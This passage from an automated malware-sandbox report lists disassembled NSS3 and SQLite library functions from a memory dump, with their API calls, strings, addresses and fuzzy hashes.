Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C674D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C674DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C674E02

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction ID: b98aa23e3d75ae641c1431bfecfe0f21bd859e319d41df9a30f74412226c3a0c
Opcode Fuzzy Hash: 55f748033a2460254c9c3886040c91f4b96c07b6ca0c8f4cfbf9de7e7d90cbf9
Instruction Fuzzy Hash: D241C5B5900201ABEB109F65EC44A6A77E9AF0635DF044570EC18C7B12FB71E914CFAA

Function 6C65BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BFFB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C65C015

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C65C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C65C04D

Part of subcall function 6C6A69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6A6A47
Part of subcall function 6C6A69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C6A6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C65C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C65C07B

Part of subcall function 6C658980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C657310), ref: 6C6589B8
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C657310), ref: 6C6589E6
Part of subcall function 6C658980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C658A00
Part of subcall function 6C658980: CERT_CopyRDN.NSS3(00000004,00000000,6C657310,?,?,00000004,?), ref: 6C658A1B
Part of subcall function 6C658980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C658A74

Part of subcall function 6C651D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D2C
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C65C09B,00000000,00000000,00000000,?,6C65C097,00000000,000000B0,?), ref: 6C651D3F
Part of subcall function 6C651D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C65C087,00000000,000000B0,?), ref: 6C651D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C65C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C65C0C9

Part of subcall function 6C662DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C65C0D2,6C65C0CE,00000000,-000000D4,?), ref: 6C662DF5
Part of subcall function 6C662DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C65C0CE,00000000,-000000D4,?), ref: 6C662E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C65C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65C0E3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1
invalid, xrefs: 6C645EBE
%s at line %d of [%.10s], xrefs: 6C645EE0
API call with %s database connection pointer, xrefs: 6C645EC3
misuse, xrefs: 6C645EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81
%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90
database corruption, xrefs: 6C62DE5C, 6C62DE8B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780
%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B
database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

%s=%c%s%c, xrefs: 6C6B4FA9
oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5
%s=%s, xrefs: 6C6B4F89

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

